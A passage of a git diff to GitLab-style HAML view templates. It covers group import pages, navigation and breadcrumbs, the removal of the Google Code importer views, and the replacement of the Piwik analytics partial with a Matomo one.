+ = html_escape(_('Users requesting access to %{strong_start}%{group_name}%{strong_end}')) % { group_name: @group.name, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
- if vue_members_list_enabled
.js-group-access-requests-list{ data: group_members_list_data_attributes(@group, @requesters) }
.loading
diff --git a/app/views/groups/new.html.haml b/app/views/groups/new.html.haml
index a231702012c..920a6ccd9ec 100644
--- a/app/views/groups/new.html.haml
+++ b/app/views/groups/new.html.haml
@@ -31,14 +31,17 @@
%span.d-none.d-sm-block= s_('GroupsNew|Import group')
%span.d-block.d-sm-none= s_('GroupsNew|Import')
- .tab-content.gitlab-tab-content
+ .tab-content.gitlab-tab-content.gl-border-none
.tab-pane.js-toggle-container{ id: 'create-group-pane', class: active_when(active_tab == 'create'), role: 'tabpanel' }
= form_for @group, html: { class: 'group-form gl-show-field-errors' } do |f|
= render 'new_group_fields', f: f, group_name_id: 'create-group-name'
- .tab-pane.js-toggle-container{ id: 'import-group-pane', class: active_when(active_tab) == 'import', role: 'tabpanel' }
+ .tab-pane.no-padding.js-toggle-container{ id: 'import-group-pane', class: active_when(active_tab) == 'import', role: 'tabpanel' }
- if import_sources_enabled?
- = render 'import_group_pane', active_tab: active_tab, autofocus: true
+ - if Feature.enabled?(:bulk_import)
+ = render 'import_group_from_another_instance_panel'
+ .gl-mt-7.gl-border-b-solid.gl-border-gray-100.gl-border-1
+ = render 'import_group_from_file_panel'
- else
.nothing-here-block
%h4= s_('GroupsNew|No import options available')
diff --git a/app/views/groups/registry/repositories/index.html.haml b/app/views/groups/registry/repositories/index.html.haml
index 21882c3e3ce..e26b8317c1c 100644
--- a/app/views/groups/registry/repositories/index.html.haml
+++ b/app/views/groups/registry/repositories/index.html.haml
@@ -16,4 +16,6 @@
"cleanup_policies_help_page_path" => help_page_path('user/packages/container_registry/index', anchor: 'how-the-cleanup-policy-works'),
"is_admin": current_user&.admin.to_s,
is_group_page: "true",
+ "group_path": @group.full_path,
+ "gid_prefix": container_repository_gid_prefix,
character_error: @character_error.to_s } }
diff --git a/app/views/groups/show.html.haml b/app/views/groups/show.html.haml
index 9d5ec5008dc..109e7c3831e 100644
--- a/app/views/groups/show.html.haml
+++ b/app/views/groups/show.html.haml
@@ -1,5 +1,6 @@
-- breadcrumb_title _("Details")
- @content_class = "limit-container-width" unless fluid_layout
+- page_itemtype 'https://schema.org/Organization'
+- @skip_current_level_breadcrumb = true
- if show_thanks_for_purchase_banner?
= render_if_exists 'shared/thanks_for_purchase_banner', plan_title: plan_title, quantity: params[:purchased_quantity].to_i
diff --git a/app/views/import/_githubish_status.html.haml b/app/views/import/_githubish_status.html.haml
index fca73f118b3..4cf08b1d2be 100644
--- a/app/views/import/_githubish_status.html.haml
+++ b/app/views/import/_githubish_status.html.haml
@@ -1,3 +1,4 @@
+- add_page_specific_style 'page_bundles/import'
- provider = local_assigns.fetch(:provider)
- extra_data = local_assigns.fetch(:extra_data, {})
- filterable = local_assigns.fetch(:filterable, true)
diff --git a/app/views/import/bulk_imports/status.html.haml b/app/views/import/bulk_imports/status.html.haml
index d909f6a13f0..6757c32d1e1 100644
--- a/app/views/import/bulk_imports/status.html.haml
+++ b/app/views/import/bulk_imports/status.html.haml
@@ -1 +1,12 @@
-- page_title 'Bulk Import'
+- add_to_breadcrumbs 'New group', admin_users_path
+- add_page_specific_style 'page_bundles/import'
+- breadcrumb_title _('Import groups')
+
+%h1.gl-my-0.gl-py-4.gl-font-size-h1.gl-border-solid.gl-border-gray-200.gl-border-0.gl-border-b-1
+ = s_('BulkImport|Import groups from GitLab')
+%p.gl-my-0.gl-py-5.gl-border-solid.gl-border-gray-200.gl-border-0.gl-border-b-1
+ = s_('BulkImport|Importing groups from %{link}').html_safe % { link: external_link(@source_url, @source_url) }
+
+#import-groups-mount-element{ data: { status_path: status_import_bulk_imports_path(format: :json),
+ available_namespaces_path: import_available_namespaces_path(format: :json),
+ create_bulk_import_path: import_bulk_imports_path(format: :json) } }
diff --git a/app/views/import/github/status.html.haml b/app/views/import/github/status.html.haml
index ba6a5657d12..b62f98f5ded 100644
--- a/app/views/import/github/status.html.haml
+++ b/app/views/import/github/status.html.haml
@@ -7,4 +7,6 @@
= sprite_icon('github', css_class: 'gl-mr-2')
= _('Import repositories from GitHub')
-= render 'import/githubish_status', provider: 'github'
+- paginatable = Feature.enabled?(:remove_legacy_github_client)
+
+= render 'import/githubish_status', provider: 'github', paginatable: paginatable
diff --git a/app/views/import/google_code/new.html.haml b/app/views/import/google_code/new.html.haml
deleted file mode 100644
index 1edd224956c..00000000000
--- a/app/views/import/google_code/new.html.haml
+++ /dev/null
@@ -1,63 +0,0 @@
-- page_title _("Google Code import")
-- header_title _("Projects"), root_path
-%h3.page-title.gl-display-flex
- .gl-display-flex.gl-align-items-center.gl-justify-content-center
- = sprite_icon('google', css_class: 'gl-mr-2')
- = _('Import projects from Google Code')
-%hr
-
-= form_tag callback_import_google_code_path, multipart: true do
- %p
- = _('Follow the steps below to export your Google Code project data.')
- = _("In the next step, you'll be able to select the projects you want to import.")
- %ol
- %li
- %p
- - link_to_google_takeout = link_to(_("Google Takeout"), "https://www.google.com/settings/takeout", target: '_blank', rel: 'noopener noreferrer')
- = _("Go to %{link_to_google_takeout}.").html_safe % { link_to_google_takeout: link_to_google_takeout }
- %li
- %p
- = _("Make sure you're logged into the account that owns the projects you'd like to import.")
- %li
- %p
- = html_escape(_('Click the %{strong_open}Select none%{strong_close} button on the right, since we only need "Google Code Project Hosting".')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
- %li
- %p
- = html_escape(_('Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
- %li
- %p
- = html_escape(_('Choose %{strong_open}Next%{strong_close} at the bottom of the page.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
- %li
- %p
- = _('Leave the "File type" and "Delivery method" options on their default values.')
- %li
- %p
- = html_escape(_('Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
- %li
- %p
- = html_escape(_('Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete.')) % { strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
- %li
- %p
- = _('Find the downloaded ZIP file and decompress it.')
- %li
- %p
- = html_escape(_('Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- %li
- %p
- = html_escape(_('Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- %p
- %input{ type: "file", name: "dump_file", id: "dump_file" }
- %li
- %p
- = _('Do you want to customize how Google Code email addresses and usernames are imported into GitLab?')
- %p
- = label_tag :create_user_map_0 do
- = radio_button_tag :create_user_map, 0, true
- = _('No, directly import the existing email addresses and usernames.')
- %p
- = label_tag :create_user_map_1 do
- = radio_button_tag :create_user_map, 1, false
- = _('Yes, let me map Google Code users to full names or GitLab users.')
-
- %span
- = submit_tag _('Continue to the next step'), class: "btn btn-success"
diff --git a/app/views/import/google_code/new_user_map.html.haml b/app/views/import/google_code/new_user_map.html.haml
deleted file mode 100644
index 833987dea4e..00000000000
--- a/app/views/import/google_code/new_user_map.html.haml
+++ /dev/null
@@ -1,37 +0,0 @@
-- page_title _("User map"), _("Google Code import")
-- header_title _("Projects"), root_path
-%h3.page-title.gl-display-flex
- .gl-display-flex.gl-align-items-center.gl-justify-content-center
- = sprite_icon('google', css_class: 'gl-mr-2')
- = _('Import projects from Google Code')
-%hr
-
-= form_tag create_user_map_import_google_code_path do
- %p
- = _("Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import.")
- %p
- = html_escape(_("The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side.")) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- %ul
- %li
- %strong= _("Default: Directly import the Google Code email address or username")
- %p
- = html_escape(_('%{code_open}"johnsmith@example.com": "johnsm...@example.com"%{code_close} will add "By johnsm...@example.com" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user\'s privacy.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- %li
- %strong= _("Map a Google Code user to a GitLab user")
- %p
- = html_escape(_('%{code_open}"johnsmith@example.com": "@johnsmith"%{code_close} will add "By %{link_open}@johnsmith%{link_close}" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe, link_open: '<a href="#">'.html_safe, link_close: '</a>'.html_safe }
- %li
- %strong= _("Map a Google Code user to a full name")
- %p
- = html_escape(_('%{code_open}"johnsmith@example.com": "John Smith"%{code_close} will add "By John Smith" to all issues and comments originally created by johnsmith@example.com.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- %li
- %strong= _("Map a Google Code user to a full email address")
- %p
- = html_escape(_('%{code_open}"johnsmith@example.com": "johnsmith@example.com"%{code_close} will add "By %{link_open}johnsmith@example.com%{link_close}" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user\'s privacy. Use this option if you want to show the full email address.')) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe, link_open: '<a href="#">'.html_safe, link_close: '</a>'.html_safe }
-
- .form-group.row
- .col-sm-12
- = text_area_tag :user_map, Gitlab::Json.pretty_generate(@user_map), class: 'form-control', rows: 15
-
- .form-actions
- = submit_tag _('Continue to the next step'), class: "btn btn-success"
diff --git a/app/views/import/google_code/status.html.haml b/app/views/import/google_code/status.html.haml
deleted file mode 100644
index 0004f0de69f..00000000000
--- a/app/views/import/google_code/status.html.haml
+++ /dev/null
@@ -1,78 +0,0 @@
-- page_title _("Google Code import")
-- header_title _("Projects"), root_path
-%h3.page-title.gl-display-flex
- .gl-display-flex.gl-align-items-center.gl-justify-content-center
- = sprite_icon('google', css_class: 'gl-mr-2')
- = _('Import projects from Google Code')
-
-- if @repos.any?
- %p.light
- = _('Select projects you want to import.')
- %p.light
- - link_to_customize = link_to(_("customize"), new_user_map_import_google_code_path)
- = _("Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab.").html_safe % { link_to_customize: link_to_customize }
- %hr
- %p
- - if @incompatible_repos.any?
- = button_tag class: "btn btn-import btn-success js-import-all" do
- = _("Import all compatible projects")
- = loading_icon(css_class: 'loading-icon')
- - else
- = button_tag class: "btn btn-import btn-success js-import-all" do
- = _("Import all projects")
- = loading_icon(css_class: 'loading-icon')
-
-.table-responsive
- %table.table.import-jobs
- %colgroup.import-jobs-from-col
- %colgroup.import-jobs-to-col
- %colgroup.import-jobs-status-col
- %thead
- %tr
- %th= _("From Google Code")
- %th= _("To GitLab")
- %th= _("Status")
- %tbody
- - @already_added_projects.each do |project|
- %tr{ id: "project_#{project.id}", class: "#{project_status_css_class(project.import_status)}" }
- %td
- = link_to project.import_source, "https://code.google.com/p/#{project.import_source}", target: "_blank", rel: 'noopener noreferrer'
- %td
- = link_to project.full_path, project
- %td.job-status
- - case project.import_status
- - when 'finished'
- %span
- = sprite_icon('check')
- = _("done")
- - when 'started'
- = loading_icon
- = _("started")
- - else
- = project.human_import_status_name
-
- - @repos.each do |repo|
- %tr{ id: "repo_#{repo.id}" }
- %td
- = link_to repo.name, "https://code.google.com/p/#{repo.name}", target: "_blank", rel: 'noopener noreferrer'
- %td.import-target
- #{current_user.username}/#{repo.name}
- %td.import-actions.job-status
- = button_tag class: "btn btn-import js-add-to-import" do
- = _("Import")
- = loading_icon(css_class: 'loading-icon')
- - @incompatible_repos.each do |repo|
- %tr{ id: "repo_#{repo.id}" }
- %td
- = link_to repo.name, "https://code.google.com/p/#{repo.name}", target: "_blank", rel: 'noopener noreferrer'
- %td.import-target
- %td.import-actions-job-status
- = label_tag _("Incompatible Project"), nil, class: "label badge-danger"
-
-- if @incompatible_repos.any?
- %p
- = _("One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git.")
- - link_to_import_flow = link_to(_("import flow"), new_import_google_code_path)
- = _("Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again.").html_safe % { link_to_import_flow: link_to_import_flow }
-
-.js-importer-status{ data: { jobs_import_path: "#{jobs_import_google_code_path}", import_path: "#{import_google_code_path}" } }
diff --git a/app/views/import/manifest/_form.html.haml b/app/views/import/manifest/_form.html.haml
index 2ee964974c3..1a3b945cfe5 100644
--- a/app/views/import/manifest/_form.html.haml
+++ b/app/views/import/manifest/_form.html.haml
@@ -19,5 +19,5 @@
= link_to sprite_icon('question-o'), help_page_path('user/project/import/manifest')
.gl-mb-3
- = submit_tag _('List available repositories'), class: 'btn btn-success'
- = link_to _('Cancel'), new_project_path, class: 'btn btn-cancel'
+ = submit_tag _('List available repositories'), class: 'gl-button btn btn-success'
+ = link_to _('Cancel'), new_project_path, class: 'gl-button btn btn-default btn-cancel'
diff --git a/app/views/jira_connect/subscriptions/index.html.haml b/app/views/jira_connect/subscriptions/index.html.haml
index 355ffabd7ec..b826a1b6fc6 100644
--- a/app/views/jira_connect/subscriptions/index.html.haml
+++ b/app/views/jira_connect/subscriptions/index.html.haml
@@ -62,5 +62,4 @@
= webpack_bundle_tag 'performance_bar' if performance_bar_enabled?
= webpack_bundle_tag 'jira_connect_app'
-= page_specific_javascript_tag('jira_connect.js')
-- add_page_specific_style 'page_bundles/jira_connect'
+- add_page_specific_style 'page_bundles/jira_connect', defer: false
diff --git a/app/views/layouts/_google_analytics.html.haml b/app/views/layouts/_google_analytics.html.haml
index e8a5359e791..759e9ef36b9 100644
--- a/app/views/layouts/_google_analytics.html.haml
+++ b/app/views/layouts/_google_analytics.html.haml
@@ -1,4 +1,4 @@
-= javascript_tag nonce: true do
+= javascript_tag do
:plain
var _gaq = _gaq || [];
_gaq.push(['_setAccount', '#{extra_config.google_analytics_id}']);
diff --git a/app/views/layouts/_google_tag_manager_head.html.haml b/app/views/layouts/_google_tag_manager_head.html.haml
index ab03f1e7670..48eb9e40cc4 100644
--- a/app/views/layouts/_google_tag_manager_head.html.haml
+++ b/app/views/layouts/_google_tag_manager_head.html.haml
@@ -1,5 +1,5 @@
- if google_tag_manager_enabled?
- = javascript_tag nonce: true do
+ = javascript_tag do
:plain
(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
diff --git a/app/views/layouts/_head.html.haml b/app/views/layouts/_head.html.haml
index 1d12b30c58c..bdd506ab3be 100644
--- a/app/views/layouts/_head.html.haml
+++ b/app/views/layouts/_head.html.haml
@@ -88,5 +88,5 @@
= yield :meta_tags
= render 'layouts/google_analytics' if extra_config.has_key?('google_analytics_id')
- = render 'layouts/piwik' if extra_config.has_key?('piwik_url') && extra_config.has_key?('piwik_site_id')
+ = render 'layouts/matomo' if extra_config.has_key?('matomo_url') && extra_config.has_key?('matomo_site_id')
= render 'layouts/snowplow'
diff --git a/app/views/layouts/_img_loader.html.haml b/app/views/layouts/_img_loader.html.haml
index cddcd6e0af6..f6d7d163e6f 100644
--- a/app/views/layouts/_img_loader.html.haml
+++ b/app/views/layouts/_img_loader.html.haml
@@ -1,4 +1,4 @@
-= javascript_tag nonce: true do
+= javascript_tag do
:plain
if ('loading' in HTMLImageElement.prototype) {
document.querySelectorAll('img.lazy').forEach(img => {
diff --git a/app/views/layouts/_init_auto_complete.html.haml b/app/views/layouts/_init_auto_complete.html.haml
index 82ec92988eb..509f5be8097 100644
--- a/app/views/layouts/_init_auto_complete.html.haml
+++ b/app/views/layouts/_init_auto_complete.html.haml
@@ -4,7 +4,7 @@
- datasources = autocomplete_data_sources(object, noteable_type)
- if object
- = javascript_tag nonce: true do
+ = javascript_tag do
:plain
gl = window.gl || {};
gl.GfmAutoComplete = gl.GfmAutoComplete || {};
diff --git a/app/views/layouts/_init_client_detection_flags.html.haml b/app/views/layouts/_init_client_detection_flags.html.haml
index 6537b86085f..03967bbbfcf 100644
--- a/app/views/layouts/_init_client_detection_flags.html.haml
+++ b/app/views/layouts/_init_client_detection_flags.html.haml
@@ -1,7 +1,7 @@
- client = client_js_flags
- if client
- = javascript_tag nonce: true do
+ = javascript_tag do
:plain
gl = window.gl || {};
gl.client = #{client.to_json};
diff --git a/app/views/layouts/_loading_hints.html.haml b/app/views/layouts/_loading_hints.html.haml
index a75b602ff6b..0ef50d1b122 100644
--- a/app/views/layouts/_loading_hints.html.haml
+++ b/app/views/layouts/_loading_hints.html.haml
@@ -6,6 +6,5 @@
- else
%link{ { rel: 'preload', href: stylesheet_url('application'), as: 'style' }, ActionController::Base.asset_host ? { crossorigin: 'anonymous' } : {} }
%link{ { rel: 'preload', href: stylesheet_url("highlight/themes/#{user_color_scheme}"), as: 'style' }, ActionController::Base.asset_host ? { crossorigin: 'anonymous' } : {} }
-%link{ { rel: 'preload', href: asset_url("fontawesome-webfont.woff2?v=4.7.0"), as: 'font', type: 'font/woff2' }, ActionController::Base.asset_host ? { crossorigin: 'anonymous' } : {} }
- if Gitlab::CurrentSettings.snowplow_enabled? && Gitlab::CurrentSettings.snowplow_collector_hostname
%link{ rel: 'preconnect', href: Gitlab::CurrentSettings.snowplow_collector_hostname, crossorigin: '' }
diff --git a/app/views/layouts/_matomo.html.haml b/app/views/layouts/_matomo.html.haml
new file mode 100644
index 00000000000..fcd3156a162
--- /dev/null
+++ b/app/views/layouts/_matomo.html.haml
@@ -0,0 +1,15 @@
+<!-- Matomo -->
+= javascript_tag do
+ :plain
+ var _paq = window._paq = window._paq || [];
+ _paq.push(['trackPageView']);
+ _paq.push(['enableLinkTracking']);
+ (function() {
+ var u="//#{extra_config.matomo_url}/";
+ _paq.push(['setTrackerUrl', u+'matomo.php']);
+ _paq.push(['setSiteId', "#{extra_config.matomo_site_id}"]);
+ var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
+ g.type='text/javascript'; g.async=true; g.src=u+'matomo.js'; s.parentNode.insertBefore(g,s);
+ })();
+<noscript><p><img src="//#{extra_config.matomo_url}/matomo.php?idsite=#{extra_config.matomo_site_id}" style="border:0;" alt="" /></p></noscript>
+<!-- End Matomo Code -->
diff --git a/app/views/layouts/_page.html.haml b/app/views/layouts/_page.html.haml
index f6fc49393d8..c552454caa7 100644
--- a/app/views/layouts/_page.html.haml
+++ b/app/views/layouts/_page.html.haml
@@ -17,6 +17,7 @@
= render_account_recovery_regular_check
= render_if_exists "layouts/header/ee_subscribable_banner"
= render_if_exists "shared/namespace_storage_limit_alert"
+ = render_if_exists "shared/new_user_signups_cap_reached_alert"
= yield :customize_homepage_banner
- unless @hide_breadcrumbs
= render "layouts/nav/breadcrumbs"
diff --git a/app/views/layouts/_piwik.html.haml b/app/views/layouts/_piwik.html.haml
deleted file mode 100644
index 361a7b03180..00000000000
--- a/app/views/layouts/_piwik.html.haml
+++ /dev/null
@@ -1,15 +0,0 @@
-<!-- Piwik -->
-= javascript_tag nonce: true do
- :plain
- var _paq = _paq || [];
- _paq.push(['trackPageView']);
- _paq.push(['enableLinkTracking']);
- (function() {
- var u="//#{extra_config.piwik_url}/";
- _paq.push(['setTrackerUrl', u+'piwik.php']);
- _paq.push(['setSiteId', "#{extra_config.piwik_site_id}"]);
- var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
- g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
- })();
-<noscript><p><img src="//#{extra_config.piwik_url}/piwik.php?idsite=#{extra_config.piwik_site_id}" style="border:0;" alt="" /></p></noscript>
-<!-- End Piwik Code -->
diff --git a/app/views/layouts/_snowplow.html.haml b/app/views/layouts/_snowplow.html.haml
index d7ff5ad1094..9d14dfb3786 100644
--- a/app/views/layouts/_snowplow.html.haml
+++ b/app/views/layouts/_snowplow.html.haml
@@ -1,6 +1,6 @@
- return unless Gitlab::CurrentSettings.snowplow_enabled?
-= javascript_tag nonce: true do
+= javascript_tag do
:plain
;(function(p,l,o,w,i,n,g){if(!p[i]){p.GlobalSnowplowNamespace=p.GlobalSnowplowNamespace||[];
p.GlobalSnowplowNamespace.push(i);p[i]=function(){(p[i].q=p[i].q||[]).push(arguments)
diff --git a/app/views/layouts/_startup_css_activation.haml b/app/views/layouts/_startup_css_activation.haml
index a426d686c34..5fb53385acc 100644
--- a/app/views/layouts/_startup_css_activation.haml
+++ b/app/views/layouts/_startup_css_activation.haml
@@ -1,6 +1,6 @@
- return unless use_startup_css?
-= javascript_tag nonce: true do
+= javascript_tag do
:plain
document.querySelectorAll('link[media="print"]').forEach(linkTag => {
linkTag.setAttribute('data-startupcss', 'loading');
diff --git a/app/views/layouts/_startup_js.html.haml b/app/views/layouts/_startup_js.html.haml
index 9c488e4f40d..35cd191c600 100644
--- a/app/views/layouts/_startup_js.html.haml
+++ b/app/views/layouts/_startup_js.html.haml
@@ -1,6 +1,6 @@
- return unless page_startup_api_calls.present? || page_startup_graphql_calls.present?
-= javascript_tag nonce: true do
+= javascript_tag do
:plain
var gl = window.gl || {};
gl.startup_calls = #{page_startup_api_calls.to_json};
diff --git a/app/views/layouts/errors.html.haml b/app/views/layouts/errors.html.haml
index dc924a0e25d..25fe4c898ca 100644
--- a/app/views/layouts/errors.html.haml
+++ b/app/views/layouts/errors.html.haml
@@ -8,7 +8,7 @@
%body
.page-container
= yield
- = javascript_tag nonce: true do
+ = javascript_tag do
:plain
(function(){
var goBackElement = document.querySelector('.js-go-back');
diff --git a/app/views/layouts/group.html.haml b/app/views/layouts/group.html.haml
index 6d2c5870e43..58fed89dfe7 100644
--- a/app/views/layouts/group.html.haml
+++ b/app/views/layouts/group.html.haml
@@ -8,7 +8,7 @@
- content_for :page_specific_javascripts do
- if current_user
- = javascript_tag nonce: true do
+ = javascript_tag do
:plain
window.uploads_path = "#{group_uploads_path(@group)}";
diff --git a/app/views/layouts/header/_current_user_dropdown.html.haml b/app/views/layouts/header/_current_user_dropdown.html.haml
index addf2375222..d7ca93a296b 100644
--- a/app/views/layouts/header/_current_user_dropdown.html.haml
+++ b/app/views/layouts/header/_current_user_dropdown.html.haml
@@ -18,7 +18,7 @@
- if can?(current_user, :update_user_status, current_user)
%li
%button.btn.menu-item.js-set-status-modal-trigger{ type: 'button' }
- - if current_user.status.present?
+ - if show_status_emoji?(current_user.status) || user_status_set_to_busy?(current_user.status)
= s_('SetStatusModal|Edit status')
- else
= s_('SetStatusModal|Set status')
diff --git a/app/views/layouts/header/_default.html.haml b/app/views/layouts/header/_default.html.haml
index 794d1589172..70ab0a56581 100644
--- a/app/views/layouts/header/_default.html.haml
+++ b/app/views/layouts/header/_default.html.haml
@@ -74,6 +74,7 @@
%span.gl-sr-only
= s_('Nav|Help')
= sprite_icon('question')
+ %span.notification-dot.rounded-circle.gl-absolute
= sprite_icon('chevron-down', css_class: 'caret-down')
.dropdown-menu.dropdown-menu-right
= render 'layouts/header/help_dropdown'
@@ -101,7 +102,7 @@
= sprite_icon('close', size: 12, css_class: 'close-icon js-navbar-toggle-left')
- if ::Feature.enabled?(:whats_new_drawer, current_user)
- #whats-new-app{ data: { storage_key: whats_new_storage_key } }
+ #whats-new-app{ data: { storage_key: whats_new_storage_key, versions: whats_new_versions, gitlab_dot_com: Gitlab.dev_env_org_or_com? } }
- if can?(current_user, :update_user_status, current_user)
.js-set-status-modal-wrapper{ data: user_status_data }
diff --git a/app/views/layouts/jira_connect.html.haml b/app/views/layouts/jira_connect.html.haml
index 17f6e9af61a..0d4ecfc5a10 100644
--- a/app/views/layouts/jira_connect.html.haml
+++ b/app/views/layouts/jira_connect.html.haml
@@ -5,9 +5,11 @@
GitLab
= stylesheet_link_tag 'https://unpkg.com/@atlaskit/css-reset@3.0.6/dist/bundle.css'
= stylesheet_link_tag 'https://unpkg.com/@atlaskit/reduced-ui-pack@10.5.5/dist/bundle.css'
+ = yield :page_specific_styles
+
= javascript_include_tag 'https://connect-cdn.atl-paas.net/all.js'
= javascript_include_tag 'https://unpkg.com/jquery@3.3.1/dist/jquery.min.js'
- = yield :page_specific_styles
+ = Gon::Base.render_data(nonce: content_security_policy_nonce)
= yield :head
%body
.ac-content
diff --git a/app/views/layouts/nav/_breadcrumbs.html.haml b/app/views/layouts/nav/_breadcrumbs.html.haml
index f0cdb3d1a51..43f1011a85b 100644
--- a/app/views/layouts/nav/_breadcrumbs.html.haml
+++ b/app/views/layouts/nav/_breadcrumbs.html.haml
@@ -1,6 +1,7 @@
- container = @no_breadcrumb_container ? 'container-fluid' : container_class
- hide_top_links = @hide_top_links || false
-- push_to_schema_breadcrumb(@breadcrumb_title, breadcrumb_title_link)
+- unless @skip_current_level_breadcrumb
+ - push_to_schema_breadcrumb(@breadcrumb_title, breadcrumb_title_link)
%nav.breadcrumbs{ role: "navigation", class: [container, @content_class] }
.breadcrumbs-container{ class: ("border-bottom-0" if @no_breadcrumb_border) }
@@ -16,8 +17,10 @@
- @breadcrumbs_extra_links.each do |extra|
= breadcrumb_list_item link_to(extra[:text], extra[:link])
= render "layouts/nav/breadcrumbs/collapsed_dropdown", location: :after
- %li
- %h2.breadcrumbs-sub-title= link_to @breadcrumb_title, breadcrumb_title_link
+ - unless @skip_current_level_breadcrumb
+ %li
+ %h2.breadcrumbs-sub-title
+ = link_to @breadcrumb_title, breadcrumb_title_link
%script{ type:'application/ld+json' }
:plain
#{schema_breadcrumb_json}
diff --git a/app/views/layouts/nav/groups_dropdown/_show.html.haml b/app/views/layouts/nav/groups_dropdown/_show.html.haml
index 3ce1fa6bcca..d0394451a61 100644
--- a/app/views/layouts/nav/groups_dropdown/_show.html.haml
+++ b/app/views/layouts/nav/groups_dropdown/_show.html.haml
@@ -3,10 +3,10 @@
.frequent-items-dropdown-sidebar.qa-groups-dropdown-sidebar
%ul
= nav_link(path: 'dashboard/groups#index') do
- = link_to dashboard_groups_path, class: 'qa-your-groups-link' do
+ = link_to dashboard_groups_path, class: 'qa-your-groups-link', data: { track_label: "groups_dropdown_your_groups", track_event: "click_link" } do
= _('Your groups')
= nav_link(path: 'groups#explore') do
- = link_to explore_groups_path do
+ = link_to explore_groups_path, data: { track_label: "groups_dropdown_explore_groups", track_event: "click_link" } do
= _('Explore groups')
.frequent-items-dropdown-content
#js-groups-dropdown{ data: { user_name: current_user.username, group: group_meta } }
diff --git a/app/views/layouts/nav/projects_dropdown/_show.html.haml b/app/views/layouts/nav/projects_dropdown/_show.html.haml
index f2170f71532..91f999a9a74 100644
--- a/app/views/layouts/nav/projects_dropdown/_show.html.haml
+++ b/app/views/layouts/nav/projects_dropdown/_show.html.haml
@@ -3,13 +3,13 @@
.frequent-items-dropdown-sidebar.qa-projects-dropdown-sidebar
%ul
= nav_link(path: 'dashboard/projects#index') do
- = link_to dashboard_projects_path, class: 'qa-your-projects-link' do
+ = link_to dashboard_projects_path, class: 'qa-your-projects-link', data: { track_label: "projects_dropdown_your_projects", track_event: "click_link" } do
= _('Your projects')
= nav_link(path: 'projects#starred') do
- = link_to starred_dashboard_projects_path do
+ = link_to starred_dashboard_projects_path, data: { track_label: "projects_dropdown_starred_projects", track_event: "click_link" } do
= _('Starred projects')
= nav_link(path: 'projects#trending') do
- = link_to explore_root_path do
+ = link_to explore_root_path, data: { track_label: "projects_dropdown_explore_projects", track_event: "click_link" } do
= _('Explore projects')
.frequent-items-dropdown-content
#js-projects-dropdown{ data: { user_name: current_user.username, project: project_meta } }
diff --git a/app/views/layouts/nav/sidebar/_analytics_links.html.haml b/app/views/layouts/nav/sidebar/_analytics_links.html.haml
index a99eb8cf457..970a1d5f2c7 100644
--- a/app/views/layouts/nav/sidebar/_analytics_links.html.haml
+++ b/app/views/layouts/nav/sidebar/_analytics_links.html.haml
@@ -4,7 +4,7 @@
- if navbar_links.any?
= nav_link(path: all_paths) do
- = link_to analytics_link.link, { data: { qa_selector: 'analytics_anchor' } } do
+ = link_to analytics_link.link, {class: 'shortcuts-analytics', data: { qa_selector: 'analytics_anchor' } } do
.nav-icon-container
= sprite_icon('chart')
%span.nav-item-name{ data: { qa_selector: 'analytics_link' } }
diff --git a/app/views/layouts/nav/sidebar/_group.html.haml b/app/views/layouts/nav/sidebar/_group.html.haml
index 5f4b1f8ad45..efe8e57cadf 100644
--- a/app/views/layouts/nav/sidebar/_group.html.haml
+++ b/app/views/layouts/nav/sidebar/_group.html.haml
@@ -159,11 +159,10 @@
%span
= _('General')
- - if group_level_integrations?
- = nav_link(controller: :integrations) do
- = link_to group_settings_integrations_path(@group), title: _('Integrations') do
- %span
- = _('Integrations')
+ = nav_link(controller: :integrations) do
+ = link_to group_settings_integrations_path(@group), title: _('Integrations') do
+ %span
+ = _('Integrations')
= nav_link(path: 'groups#projects') do
= link_to projects_group_path(@group), title: _('Projects') do
diff --git a/app/views/layouts/nav/sidebar/_project.html.haml b/app/views/layouts/nav/sidebar/_project.html.haml
index 5ff774d5d9c..5cadabd5f90 100644
--- a/app/views/layouts/nav/sidebar/_project.html.haml
+++ b/app/views/layouts/nav/sidebar/_project.html.haml
@@ -262,6 +262,8 @@
%span
= _('Incidents')
+ = render_if_exists 'projects/sidebar/oncall_schedules'
+
- if project_nav_tab? :serverless
= nav_link(controller: :functions) do
= link_to project_serverless_functions_path(@project), title: _('Serverless') do
